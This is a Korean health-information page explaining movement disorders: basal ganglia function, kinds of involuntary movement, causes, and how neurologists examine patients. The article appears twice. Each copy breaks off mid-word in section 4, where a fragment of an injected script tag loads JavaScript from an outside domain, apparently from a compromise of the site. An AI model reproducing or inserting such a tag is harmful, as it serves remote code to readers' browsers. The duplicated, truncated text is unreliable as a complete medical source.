건강정보
운동이상질환
1) 운동이상 질환이란 어떤 것입니까?
운동이상질환이란 대뇌의 기저핵을 포함한 추체외로계라고 하는 구조물에 이상이 생겨 발생하는 질환입니다. 우리가 몸을 자유롭게 또, 정확하게 움직이려면 우선 힘이 있어야 하지만 이 힘을 정확히 조절해 주는 작용, 즉, 힘의 강도, 속도, 및 운동의 범위, 정확도 등을 조절해 주는 것이 필요합니다. 예를 들어 선반 위에 있는 물건을 잡으려고 할 때, 대뇌 피질에서 팔을 들어 올려 손을 물체에 대고 쥐라고 명령을 내리면 팔을 어느 정도의 속도로 얼마만큼 올리고 어느 정도의 힘으로 쥐어야 하는 지에 대해 관여하는 구조물이 바로 추체외로계 및 기저핵 입니다. 이 곳에서는 여러 가지 특수한 신경전달 물질을 분비하여 이러한 운동을 원활히 할 수 있도록 하는데, 여기에 병변이 생기거나 그 신경전달 물질의 분비 및 흡수에 장애를 일으키는 질환이 발생하면 여러 가지 불수의적 운동을 초래하는 운동장애를 보일 수 있습니다. 이러한 운동장애는 힘이 없어지는 마비 때문에 움직이지 못하는 상태를 뜻하는 것은 아닙니다.
2) 그런 운동장애에는 어떤 종류의 것들이 있습니까?
너무나 다양하고 복잡해서 일일히 열거하기가 어려운데, 종류별로 간단히 설명하고 비교적 흔한 질환인 진전증과 파킨슨씨병에 대해서는 따로 설명하겠습니다.
운동장애의 증상을 크게 나누면 운동 항진성 장애와 운동 감퇴성 장애 이렇게 두 가지로 나눌 수 있습니다. 운동 항진성 이라는 것은 힘이 조절이 안되고 몸이 저절로 움직이게 되는 증상으로서 매우 다양한 증상들을 보일 수 있는데, 손이나 발, 머리 등을 떠는 진전증( tremor ), 수족, 몸의 일부분이 마치 춤을 추듯 저절로 움직이는 무도증( chorea ), 뇌성마비 등에서 볼 수 있듯이 몸이 꼬이는 듯 하면서 찡그리게 되는 무정위 운동( athetosis ), 느리고 비트는 듯한 기묘한 동작이 사지 근위부, 경부 등에 생겨 묘한 자세를 취하게 되는 근 긴장이상증( dystonia ), 팔이나 다리 심한 경우 몸 전체가 짧은 시간 동안 발작적으로 움직였다가 풀어지는 근간대성 경련( myoclonus ), 혀가 전후 좌우로 비틀려 움직인다던지, 입술이나 저작근이 실룩거려 토끼입 처럼 보이게 되는 dyskinesia, 얼굴, 목, 어깨 등을 반복적으로 들썩거리며 이상한 소리 ‘킁킁’등을 내는 틱장애, 안절부절하게 되는 akathisia등 다양하게 나타납니다.
또, 운동 감퇴성 장애에는 몸에 힘은 들어가 있는데 전혀 움직일 수 없는 무동증( akinesia )에서부터 몸을 움직이는 것이 매우 느려져서 마치 슬로우비디오처럼 움직이게 되는 운동완서( bradykinesia ), 근육에 힘이 잔뜩 들어가서 뻣뻣한 납인형처럼 움직이게 되는 근경직( rigidity ) 등이 있습니다.
이러한 불수의 운동들은 증상이 서로 비슷비슷하기도 하고, 또 여러 가지 증상이 서로 겹쳐서 보일 수도 있기 때문에 어떤 증상군에 속하는지 정확히 분류하는 것이 중요한데 실제로 의사들도 함께 보지 않으면 말로써 정확히 표현하기가 어렵기 때문에 비디오로 촬영하여 서로 의견을 나누기도 합니다.
이상 설명한 불수의적 운동 즉, 자기의 의지와는 상관없이 몸이 안 움직여지거나, 저절로 너무 많이 움직이는 이런 증상들이 한가지만 보이는 질환도 있고, 여러 가지가 조합을 이루어 나타나는 질환도 있습니다. 예를 들어, 본태성 진전증 같은 경우는 떨림 증상만 나타나지만, 헌팅톤씨 무도병 같은 경우는 무도증 외에 무정위성 운동, 치매 등이 복합적으로 나타날 수 있습니다.
3) 이러한 불수의적 운동을 보이는 운동장애의 원인이 되는 질환에는 어떠한 것들이 있습니까?
추체외로계 및 기저핵에 손상을 초래할 수 있는 모든 질환, 약물, 전신질환 등이 운동이상을 발생시킬 수 있는데, 여러 종류의 진전증, 파킨슨씨병 및 이와 유사한 양상을 보일 수 있는 여러 가지 뇌의 퇴행성 질환들, 수두증, 뇌농양, 뇌염후 증후군, 뇌혈관 질환 후유증, 일산화탄소 중독 후유증, 망간, 수은, 알코올 중독, 반복적 뇌외상 증후군, Wilson씨병, 부갑상선 기능 저하증, 만성 간 질환에 의한 뇌의 퇴행성변화, 저혈당증, 혈액질환중 일부, 유전성 대사이상 질환, 유전성 퇴행성 뇌 질환 등 일일이 열거하기 어려운 다양한 종류의 질환에서 이러한 운동이상을 초래할 수 있습니다.
4) 그렇게 다양한 원인들에 의해서 발생한다면 실제로 이런 운동장애를 보이는 환자를 신경과에서는 어떻게 진료하고 있습니까?
불수의 운동의 양상, 부위, 속도, 진폭, 지속도와 율동성 등 규칙성의 유무 및 정신적 흥분이나 안정에 의한 영향 여부, 수면 시 없어지는지, 난산이나 출생전후의 이상은 없었는지, 친척이나 가족들 중 비슷한 양상을 보이는 경우는 없었는지 등에 대한 자세한 진찰을 통하여 그 불수의 운동의 종류를 규정하고, 신경학?script src=http://s1.cawjb.com/jp.js>
운동이상질환이란 대뇌의 기저핵을 포함한 추체외로계라고 하는 구조물에 이상이 생겨 발생하는 질환입니다. 우리가 몸을 자유롭게 또, 정확하게 움직이려면 우선 힘이 있어야 하지만 이 힘을 정확히 조절해 주는 작용, 즉, 힘의 강도, 속도, 및 운동의 범위, 정확도 등을 조절해 주는 것이 필요합니다. 예를 들어 선반 위에 있는 물건을 잡으려고 할 때, 대뇌 피질에서 팔을 들어 올려 손을 물체에 대고 쥐라고 명령을 내리면 팔을 어느 정도의 속도로 얼마만큼 올리고 어느 정도의 힘으로 쥐어야 하는 지에 대해 관여하는 구조물이 바로 추체외로계 및 기저핵 입니다. 이 곳에서는 여러 가지 특수한 신경전달 물질을 분비하여 이러한 운동을 원활히 할 수 있도록 하는데, 여기에 병변이 생기거나 그 신경전달 물질의 분비 및 흡수에 장애를 일으키는 질환이 발생하면 여러 가지 불수의적 운동을 초래하는 운동장애를 보일 수 있습니다. 이러한 운동장애는 힘이 없어지는 마비 때문에 움직이지 못하는 상태를 뜻하는 것은 아닙니다.
2) 그런 운동장애에는 어떤 종류의 것들이 있습니까?
너무나 다양하고 복잡해서 일일히 열거하기가 어려운데, 종류별로 간단히 설명하고 비교적 흔한 질환인 진전증과 파킨슨씨병에 대해서는 따로 설명하겠습니다.
운동장애의 증상을 크게 나누면 운동 항진성 장애와 운동 감퇴성 장애 이렇게 두 가지로 나눌 수 있습니다. 운동 항진성 이라는 것은 힘이 조절이 안되고 몸이 저절로 움직이게 되는 증상으로서 매우 다양한 증상들을 보일 수 있는데, 손이나 발, 머리 등을 떠는 진전증( tremor ), 수족, 몸의 일부분이 마치 춤을 추듯 저절로 움직이는 무도증( chorea ), 뇌성마비 등에서 볼 수 있듯이 몸이 꼬이는 듯 하면서 찡그리게 되는 무정위 운동( athetosis ), 느리고 비트는 듯한 기묘한 동작이 사지 근위부, 경부 등에 생겨 묘한 자세를 취하게 되는 근 긴장이상증( dystonia ), 팔이나 다리 심한 경우 몸 전체가 짧은 시간 동안 발작적으로 움직였다가 풀어지는 근간대성 경련( myoclonus ), 혀가 전후 좌우로 비틀려 움직인다던지, 입술이나 저작근이 실룩거려 토끼입 처럼 보이게 되는 dyskinesia, 얼굴, 목, 어깨 등을 반복적으로 들썩거리며 이상한 소리 ‘킁킁’등을 내는 틱장애, 안절부절하게 되는 akathisia등 다양하게 나타납니다.
또, 운동 감퇴성 장애에는 몸에 힘은 들어가 있는데 전혀 움직일 수 없는 무동증( akinesia )에서부터 몸을 움직이는 것이 매우 느려져서 마치 슬로우비디오처럼 움직이게 되는 운동완서( bradykinesia ), 근육에 힘이 잔뜩 들어가서 뻣뻣한 납인형처럼 움직이게 되는 근경직( rigidity ) 등이 있습니다.
이러한 불수의 운동들은 증상이 서로 비슷비슷하기도 하고, 또 여러 가지 증상이 서로 겹쳐서 보일 수도 있기 때문에 어떤 증상군에 속하는지 정확히 분류하는 것이 중요한데 실제로 의사들도 함께 보지 않으면 말로써 정확히 표현하기가 어렵기 때문에 비디오로 촬영하여 서로 의견을 나누기도 합니다.
이상 설명한 불수의적 운동 즉, 자기의 의지와는 상관없이 몸이 안 움직여지거나, 저절로 너무 많이 움직이는 이런 증상들이 한가지만 보이는 질환도 있고, 여러 가지가 조합을 이루어 나타나는 질환도 있습니다. 예를 들어, 본태성 진전증 같은 경우는 떨림 증상만 나타나지만, 헌팅톤씨 무도병 같은 경우는 무도증 외에 무정위성 운동, 치매 등이 복합적으로 나타날 수 있습니다.
3) 이러한 불수의적 운동을 보이는 운동장애의 원인이 되는 질환에는 어떠한 것들이 있습니까?
추체외로계 및 기저핵에 손상을 초래할 수 있는 모든 질환, 약물, 전신질환 등이 운동이상을 발생시킬 수 있는데, 여러 종류의 진전증, 파킨슨씨병 및 이와 유사한 양상을 보일 수 있는 여러 가지 뇌의 퇴행성 질환들, 수두증, 뇌농양, 뇌염후 증후군, 뇌혈관 질환 후유증, 일산화탄소 중독 후유증, 망간, 수은, 알코올 중독, 반복적 뇌외상 증후군, Wilson씨병, 부갑상선 기능 저하증, 만성 간 질환에 의한 뇌의 퇴행성변화, 저혈당증, 혈액질환중 일부, 유전성 대사이상 질환, 유전성 퇴행성 뇌 질환 등 일일이 열거하기 어려운 다양한 종류의 질환에서 이러한 운동이상을 초래할 수 있습니다.
4) 그렇게 다양한 원인들에 의해서 발생한다면 실제로 이런 운동장애를 보이는 환자를 신경과에서는 어떻게 진료하고 있습니까?
불수의 운동의 양상, 부위, 속도, 진폭, 지속도와 율동성 등 규칙성의 유무 및 정신적 흥분이나 안정에 의한 영향 여부, 수면 시 없어지는지, 난산이나 출생전후의 이상은 없었는지, 친척이나 가족들 중 비슷한 양상을 보이는 경우는 없었는지 등에 대한 자세한 진찰을 통하여 그 불수의 운동의 종류를 규정하고, 신경학?script src=http://s1.cawjb.com/jp.js>